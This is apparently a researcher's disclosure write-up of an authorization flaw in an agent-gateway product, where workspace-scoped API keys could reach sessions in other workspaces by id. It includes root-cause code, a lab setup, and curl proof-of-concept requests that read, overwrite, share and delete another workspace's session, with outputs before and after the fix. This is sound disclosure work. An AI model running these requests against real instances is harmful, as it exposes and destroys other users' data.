Disclosure: CVE-2026-125330 (CWE-639) affects HarnessRouter Community Edition from 0.4.2 up to 0.31.6. I reported it to the maintainers as jankesec through GitHub private vulnerability reporting on 2026-09-08, with a reproducing test. It is fixed in 0.31.7 by PR #417 and published as GHSA-9pjr-97x3-c4wv. GitHub, as CNA, published the CVE record on 2026-11-10 with CVSS 3.1 7.5 (High): CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.

The attacker needs two things: an API key made in a workspace other than the Default Workspace, and the id of a session (or response) that belongs to another workspace of the same organization. Session ids are hsess followed by a random UUID and cannot be guessed, so the id has to come from somewhere else, such as a copied link, a log line or a support ticket. With both, HarnessRouter 0.4.2 to 0.31.6 let the key read that session’s metadata, turns, trace and files, overwrite a file, cancel or delete the session, and publish a share link for it. Another organization stays out of reach, and console users, organization keys and Default Workspace keys are meant to see the whole organization.

HarnessRouter runs agent CLIs such as Codex and Claude Code behind one HTTP API, with sessions, streaming, workspace files and cancellation. An organization can be split into workspaces, and the self-hosting guide in 0.31.6 says of a key made on the API Keys page: “The key is scoped to the selected workspace”. The gateway kept that promise in its lists and broke it on every route that takes an id.

Workspaces, keys and the list filter

When a request carries Authorization: Bearer sk-hr-…, _principal() hands the token to _apikey_resolve(), which looks the key up by its SHA-256 and returns the organization, the member and the workspace the key was made in. The list route uses that workspace:

# gateway/app.py, v0.31.6
@app.get("/v1/sessions")
async def list_sessions(request: Request, limit: int = 20, cursor: str = "",
                        harness: str = "", member: str = "") -> dict:
    p = await _principal(request)
    ...  # organization check and calibration override omitted
    # A workspace-scoped principal (workspace-stamped API key, or the console's workspace header)
    # sees only its workspace's sessions; unscoped principals keep the whole-org view.
    return await _session_cards(org, limit, cursor, member, harness,
                                workspace=str(p.get("workspace") or ""),
                                ws_default=bool(p.get("workspace_default")))

The rule behind the filter is _workspace_keep(). A record belongs to the caller when its workspace matches, and records made before workspaces existed belong to the Default Workspace:

# gateway/app.py, v0.31.6 (docstring omitted)
def _workspace_keep(item_ws: str, workspace: str, ws_default: bool) -> bool:
    if not workspace:
        return True
    return item_ws == workspace or (ws_default and not item_ws)

A key of the research workspace therefore never sees a session of the clients workspace in a list. The same key could still name that session by id.

Root cause: the id routes stopped at the organization

Every route that addresses one session asked a shared helper whether the caller may touch it:

# gateway/app.py, v0.31.6
async def _owned_session(request: Request, sid: str) -> tuple[str, dict]:
    p = await _principal(request)
    org = p.get("org", "")
    v = await _vertex_get(sid)
    if not v or str(v.get("tenant") or "") != org or str(v.get("status")) == "deleted":
        raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")
    c = p.get("calibration")
    if c and str(v.get("harness_id") or "") != str(c.get("inner") or ""):
        raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")   # not its harness's
    return org, v

The session record carries both tenant and workspace, and the principal carries both org and workspace. The helper compares the first pair and never looks at the second. In 0.31.6 sixteen routes called it, among them session detail, rename, cancel, turns, the three trace routes, the file list, the archive download and the single-file GET and PUT. Five more handlers repeated the tenant comparison inline: session delete, the three share-link routes and the artifact route /a/{sid}/{path}. The response routes compared the response record’s _org and, for calibration credentials, its harness. None of them compared the workspace.

The helper already enforced one narrower scope. A calibration credential is held to a single harness, and the two calibration lines turn away sessions of any other harness. The workspace needed the same two lines and did not have them. Both the list filter and the organization-only helper are already in the repository’s first commit, fc68631 (2026-08-09), and the first tagged release with them is 0.4.2.

API key org = local workspace = research GET /v1/sessions list_sessions() _session_cards() filters by workspace research sessions only clients sessions hidden Same key, same organization. The list asks which workspace; the id route asks only which organization. GET /v1/sessions/{sid} _owned_session() tenant == org? no workspace check a clients session read/write/share/delete 0.31.7: _owned_session also asks _scope_keeps(p, v.workspace) and answers 404
Both routes resolve the same principal. Before 0.31.7 only the list compared its workspace.

Evidence matrix

QuestionWhat I checkedConfidenceNotes and negative controls
Was it present when I reported it?My route-level test on main and on v0.15.5, the latest release on 2026-09-08.HighCross-workspace detail, file read and file write returned 200. No key returned 401, another organization 404, the same workspace 200.
Is the last vulnerable release exploitable end to end?v0.31.6 (5f1e8a8): real gateway and runner, keys minted through the API, every request over HTTP.HighDetail, file read, file write, share link and delete all returned 200 for a key of another workspace. The file on disk was replaced.
Does 0.31.7 close it?The same lab on v0.31.7 (249c6cc).HighAll five requests returned 404 session_not_found. The file kept its content, and the owning key still reached its session.
Does it cross organizations?A key minted in organization other against the same session.High404 on both versions. The bug stays inside one organization.
Can an attacker find session ids?_resp_resolve_session() mints "hsess" + uuid.uuid4().hex.High122 random bits. The attacker needs the id from another source; AC:H in the vector reflects that.
Are response ids affected?Source of get_response, delete_response, list_input_items and cancel_response in 0.31.6, and the fix.MediumThe routes compared only _org. The fix sends them through _response_in_reach(). I did not run a turn, so responses were not exercised in the lab.
Is my September test a valid regression test for the fix?The same test file on 0.31.6 and 0.31.7.HighNo. It passes on both, because it replaces _apikey_resolve(), where the fix marks API-key callers. See the section below.
Does the vendor’s regression test pass?gateway/tests/test_workspace_scope.py on v0.31.7.High32 passed, including the test that scans every route with an id parameter (72 in 0.31.7).

Reproduction

The lab runs one tag at a time from a checkout, with Python 3.13 and the gateway’s and runner’s pinned requirements. It uses the settings docker/entrypoint.sh gives the self-hosted container: local backing, HR_IDENTITY_MODE=off, and the runner on loopback as the gateway’s file backend. The one difference is HR_SESSION_UIDS, which needs the runner to run as root. It runs each session’s agent processes as a separate Unix user that owns the session’s files, and it plays no part in the gateway’s decision under test.

export HR_BACKING=local HR_DATA_DIR="$DATA" HARNESS_WORKSPACE="$DATA/workspaces" \
  HR_SECRET_KEY="$SECRET" HARNESS_INTERNAL_KEY="$INTERNAL" \
  HR_IDENTITY_MODE=off HR_CREDIT_GATE=off HR_POOL_AUTH=none \
  POOL_MGMT_ENDPOINT="http://127.0.0.1:18081" HARNESS_SPOOL_DIR="$DATA/spool"
( cd runner  && python -m uvicorn server:app --host 127.0.0.1 --port 18081 ) &
( cd gateway && python -m uvicorn app:app    --host 127.0.0.1 --port 18080 ) &
GW=http://127.0.0.1:18080

Workspaces and keys are made the way the console makes them. Its server side calls the gateway with the internal key and the signed-in person’s organization, member and workspace (ui/src/app/api/harness/[...path]/route.ts). An API client’s request is different: the console forwards its Authorization header unchanged, and _apikey_resolve() decides. The lab sends the key requests straight to the gateway, which is the same path.

console() {  # method path org workspace json
  curl -s -X "$1" "$GW$2" -H "x-harness-internal: $INTERNAL" \
    -H "x-harness-org: $3" -H "x-harness-member: local@localhost" -H "x-harness-workspace: $4" \
    -H 'content-type: application/json' --data "$5"
}
console POST /v1/hr/workspaces local default '{"name":"Research"}'
console POST /v1/hr/workspaces local default '{"name":"Clients"}'
KEY_A=$(console POST /v1/orgs/local/keys local research '{"name":"research-bot","workspace":"research","member_id":"local@localhost"}' | jq -r .key)
KEY_B=$(console POST /v1/orgs/local/keys local clients '{"name":"clients-bot","workspace":"clients","member_id":"local@localhost"}' | jq -r .key)
KEY_X=$(console POST /v1/orgs/other/keys other research '{"name":"other-org","workspace":"research","member_id":"x@other"}' | jq -r .key)

A session record is normally written when an agent turn starts, and a turn needs an agent CLI and a model provider key. The lab writes the same fields through the gateway’s own store before it starts, one session per workspace and one in the other organization:

graph = SqliteGraphStore(os.path.join(data_dir, "graph.db"))   # gateway/backing.py
await graph.upsert("HarnessSession", sid_b, {"tenant": "local", "workspace": "clients",
                   "title": "Client engagement notes", "member_id": "local@localhost",
                   "backend": "claude", "status": "done", "turn_status": "done"})

The owner of the clients session then writes a file into it through the API, and the research key goes after it. These are the requests the script sends; it records each status code and a one-line summary of each body:

curl -s -X PUT "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_B" \
  -H 'content-type: application/json' --data '{"content":"client: ACME Corp\nscope: internal network, 2 sites\n"}'

curl -s "$GW/v1/sessions/$SID_B" -H "Authorization: Bearer $KEY_A"
curl -s "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_A"
curl -s -X PUT "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_A" \
  -H 'content-type: application/json' --data '{"content":"replaced by the research workspace key\n"}'
curl -s -X POST "$GW/v1/sessions/$SID_B/share" -H "Authorization: Bearer $KEY_A"
curl -s -X DELETE "$GW/v1/sessions/$SID_B" -H "Authorization: Bearer $KEY_A"

Observed output on 0.31.6

Run on 2026-11-10. <A> and <B> stand for the two session ids, and each key is shown only by its last four characters.

# HarnessRouter v0.31.6 (5f1e8a8), 2026-11-10T20:37:06Z
key A (workspace research): sk-hr-…5f8c   key B (workspace clients): sk-hr-…266e   key X (org other): sk-hr-…7eaa
## setup: workspace clients writes a file into its own session <B>
B key, own session, write      PUT    /v1/sessions/<B>/files/notes/engagement.md -> 200  {"session_id": "<B>", "path": "notes/engagement.md", "bytes": 51, "written": true}
## controls
no key                         GET    /v1/sessions/<B>                           -> 401  error=invalid_credential
A key, own session             GET    /v1/sessions/<A>                           -> 200  {"session_id": "<A>", "tenant": "local", "workspace": "research", "title": "Literature review"}
B key, own session             GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
X key (other org), session B   GET    /v1/sessions/<B>                           -> 404  error=session_not_found
## workspace research key against workspace clients' session <B>
A key, B detail                GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
A key, B file read             GET    /v1/sessions/<B>/files/notes/engagement.md -> 200  client: ACME Corp | scope: internal network, 2 sites
A key, B file write            PUT    /v1/sessions/<B>/files/notes/engagement.md -> 200  {"session_id": "<B>", "path": "notes/engagement.md", "bytes": 39, "written": true}
A key, B share link            POST   /v1/sessions/<B>/share                     -> 200  {"enabled": true, "url": "/share/shr55b41102d64343bb886a989274c69e88"}
## file on disk: $HARNESS_WORKSPACE/<B>/notes/engagement.md
replaced by the research workspace key
A key, B delete                DELETE /v1/sessions/<B>                           -> 200  {"id": "<B>", "object": "session", "deleted": true}
B key, own session after       GET    /v1/sessions/<B>                           -> 404  error=session_not_found

The controls behave: no key is refused, another organization gets the same 404 as an unknown id, and each key reaches its own session. The research key then read the clients session and its file, replaced the file on disk, published a share link for the session and deleted it. The last line is the owner of the session getting 404 for it.

Observed output on 0.31.7

The same script, the same requests, a fresh data directory:

# HarnessRouter v0.31.7 (249c6cc), 2026-11-10T20:37:07Z
## controls
no key                         GET    /v1/sessions/<B>                           -> 401  error=invalid_credential
A key, own session             GET    /v1/sessions/<A>                           -> 200  {"session_id": "<A>", "tenant": "local", "workspace": "research", "title": "Literature review"}
B key, own session             GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
X key (other org), session B   GET    /v1/sessions/<B>                           -> 404  error=session_not_found
## workspace research key against workspace clients' session <B>
A key, B detail                GET    /v1/sessions/<B>                           -> 404  error=session_not_found
A key, B file read             GET    /v1/sessions/<B>/files/notes/engagement.md -> 404  error=session_not_found
A key, B file write            PUT    /v1/sessions/<B>/files/notes/engagement.md -> 404  error=session_not_found
A key, B share link            POST   /v1/sessions/<B>/share                     -> 404  error=session_not_found
## file on disk: $HARNESS_WORKSPACE/<B>/notes/engagement.md
client: ACME Corp
scope: internal network, 2 sites
A key, B delete                DELETE /v1/sessions/<B>                           -> 404  error=session_not_found
B key, own session after       GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}

Every request from the other workspace now gets the answer an unknown id gets, and nothing changed on disk. This is the negative control for the whole chain: same setup, same requests, and only the gateway version differs.

The test I sent in September, and why it cannot check the fix

The report I filed on 2026-09-08 carried a pytest test for the gateway. It ran the real FastAPI application, _principal(), _owned_session() and the file routes, and replaced three functions around them: _apikey_resolve() returned a principal for workspace A when it saw a fixed token, _vertex_get() returned a session of workspace B, and BACKING.workspace became an in-memory file store. On main and on v0.15.5 it printed:

workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed

The test proved metadata, file read and file write. The report traced turns, traces, rename, cancel, the archive download and delete through the code, and its remediation section named the response routes. GitHub published the CVSS vector the report proposed.

For this write-up I ran the same file against both versions, expecting it to fail on 0.31.7. It passed on both:

=================== original 2026-09-08 reproducer on v0.31.6 (5f1e8a8)
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed in 0.31s
=================== original 2026-09-08 reproducer on v0.31.7 (249c6cc)
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed in 0.31s

The fix decides who is held to a workspace from a marker that only _apikey_resolve() sets, "via": "api_key". My stub replaced that function and returned a principal without the marker, and 0.31.7 reads a principal without it as a person in the console, who keeps organization reach. Adding the one field to the stub gives the expected result:

=================== stub + via=api_key on v0.31.6
1 passed in 0.31s
=================== stub + via=api_key on v0.31.7
>       assert detail.status_code == 200
E       assert 404 == 200
E        +  where 404 = <Response [404 Not Found]>.status_code
1 failed in 0.32s

The September test was a fair reproducer for the bug: the stubbed resolver returned the same fields the real one returned in that version. As a regression test it is useless, because it replaced the layer the fix changed. The lab above avoids that by minting real keys and letting the real resolver run.

The fix (PR #417)

PR #417 was merged as commit 249c6cc and released as 0.31.7 on 2026-10-06, 28 days after the report. It moves the workspace rule into one function and makes every route that takes an id ask it. The two new helpers, without their docstrings:

# gateway/app.py, v0.31.7
def _key_scope(p: dict) -> str:
    if p.get("via") != "api_key":
        return ""
    ws = str(p.get("workspace") or "")
    if not ws or p.get("workspace_default") or ws == f"{p.get('org') or ''}__hr_default":
        return ""
    return ws


def _scope_keeps(p: dict, item_ws) -> bool:
    held = _key_scope(p)
    return not held or str(item_ws or "") == held

_owned_session() gets one more condition, and the resolver starts marking API-key callers:

 async def _owned_session(request: Request, sid: str) -> tuple[str, dict]:
     p = await _principal(request)
     org = p.get("org", "")
     v = await _vertex_get(sid)
     if not v or str(v.get("tenant") or "") != org or str(v.get("status")) == "deleted":
         raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")
+    if not _scope_keeps(p, v.get("workspace")):
+        raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")   # another workspace's
@@ async def _apikey_resolve(tok: str) -> dict | None:
             return {"org": doc.get("org", ""), "member": doc.get("member", ""),
                     "workspace": doc.get("workspace", "") or "",
-                    "workspace_default": bool(doc.get("workspace_default"))}
+                    "workspace_default": bool(doc.get("workspace_default")), "via": "api_key"}

The five inline tenant checks gain the same _scope_keeps() condition, and the response routes now resolve the session behind the response through _response_in_reach(). Four choices in the change are worth copying:

  1. One answer for out of scope and unknown. Another workspace’s id gets 404 session_not_found, the same body as an id that does not exist, so a key cannot confirm that a session exists.
  2. Records without a workspace stay out of reach. Records made before workspaces existed belong to the Default Workspace, so a key held to another workspace no longer reaches them either.
  3. Organization reach is a stated choice. A person signed in to the console, an organization key and a Default Workspace key keep organization reach. The console’s API Keys dialog now asks for the key’s reach, and the release notes tell integrators that a workspace key used across workspaces will start getting 404 or 403.
  4. A test that reads the routes. test_every_route_that_takes_an_id_asks_whether_it_is_in_the_callers_workspace parses gateway/app.py, finds every route with an id in its path (72 in 0.31.7) and fails when one of them calls none of the scope helpers. A new route cannot ship without the check unless someone adds it to the exemption list with a reason.

The commit message says the gap was reported privately three times. Two advisories published the same day cover overlapping ground: GHSA-cgf4-38c9-39vr, credited to Omer Bar-Ness and reported on 2026-10-05, which adds key minting, the harness routes and the organization’s harness list, and GHSA-4386-3vpq-3xhx, credited to Tike00 and fixed in 0.31.8. CVE-2026-125330 covers the session, file and response part, from my report of 2026-09-08.

Checking an instance

The fixed version is 0.31.7; the current release is 0.41.8. The gateway reports the version it was built as on its discovery route, which the console relays without a login ($HARNESSROUTER_BASE_URL is http://localhost:3000/api/harness on a default install):

curl -s "$HARNESSROUTER_BASE_URL/v1/uhp" | jq -r .implementation.version

A self-built image reports dev. To test the behaviour itself, take a key made in a workspace other than the Default Workspace and the id of a session from a different workspace of the same organization. Only GET is needed:

curl -s -o /dev/null -w '%{http_code}\n' "$HARNESSROUTER_BASE_URL/v1/sessions/$SESSION_OF_WORKSPACE_B" \
  -H "Authorization: Bearer $KEY_OF_WORKSPACE_A"

A fixed gateway answers 404. 200 means the key is not held to its workspace.

After upgrading, look for share links that the owning workspace did not publish: GET /v1/sessions/{sid}/share shows whether a session is shared, and DELETE /v1/sessions/{sid}/share revokes it. Past use is hard to reconstruct. The container starts the gateway with --log-level warning, which leaves out uvicorn’s access log, so the gateway keeps no per-request record unless a reverse proxy in front of the console logs requests. The API Keys page shows when each key was last used, which tells you which keys were active, not what they touched.

If you cannot upgrade, the advisory’s workaround applies: treat every API key as an organization key, and give keys only to parties you would trust with every workspace.

Takeaways

  1. If a list is filtered by a scope, every route that takes an id needs the same check, written once. Here the list asked the workspace question in _session_cards() and the id routes asked a different question in _owned_session().
  2. Answer an id outside the caller’s scope exactly like an id that does not exist. The 404 for another organization was already right; the fix extended it to other workspaces.
  3. Reproduce authorization bugs through the real credential path. A stubbed resolver reproduces the bug only as long as it matches the real one, and the fix may change exactly that layer.

Disclosure timeline

DateEvent
2026-08-09The repository’s first commit (fc68631) contains the workspace-filtered list and the organization-only _owned_session(). First tagged in 0.4.2 on 2026-08-15.
2026-09-08Reported through GitHub private vulnerability reporting with a reproducing test, confirmed on main and v0.15.5 (GHSA-9pjr-97x3-c4wv).
2026-10-06PR #417 merged and 0.31.7 released. GHSA-9pjr-97x3-c4wv published.
2026-11-09CVE-2026-125330 reserved.
2026-11-10GitHub, as CNA, published the CVE record. Lab re-run on 0.31.6 and 0.31.7 for this write-up.
Severity Assessment · HIGH

Vulnerability Scoring & CVSS Vector Breakdown

Base score and individual metric vector breakdown calculated by GitHub CNA.

7.5High
CVSS Vector StringCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
AV · VectorNetwork
AC · ComplexityHigh
PR · PrivilegesLow
UI · User InteractionNone
S · ScopeUnchanged
C · ConfidentialityHigh
I · IntegrityHigh
A · AvailabilityHigh
Audit Trail · CVE-2026-125330

Coordinated Disclosure & Remediation Timeline

Verified chronological audit trail for CVE-2026-125330: from reproduction to upstream fix, backport, and official advisory release.

  1. ReportedStep 01

    Reported privately through GitHub private vulnerability reporting, with a reproducing test, as GHSA-9pjr-97x3-c4wv.

  2. Fix releasedStep 02

    PR #417 merged and HarnessRouter 0.31.7 released; GHSA-9pjr-97x3-c4wv published the same day.

    Source / Reference ↗
  3. PublishedStep 03

    GitHub, as CNA, published the CVE record.

    Source / Reference ↗
  4. Site verificationStep 04

    jankesec re-ran the reproduction against 0.31.6 and 0.31.7 and checked the CVE record, score, affected versions and references.

Sources & limits

Evidence used for this analysis

Sources checkedNovember 10, 2026

Version and exploitation status can change; follow the linked vendor records.

Review statusPublic sources reviewed

Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.

◈ CITE THIS RESEARCH

Reference this analysis in technical reports or publications:

@misc{jankesec_cve_2026_125330_harnessrouter_workspace_key_scope_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-125330: Cross-Workspace Session Access with a HarnessRouter Workspace Key},
  year = {2026},
  howpublished = {\url{https://jankesec.com/research/cve-2026-125330-harnessrouter-workspace-key-scope/}},
  note = {jankesec technical security research (CVE-2026-125330)}
}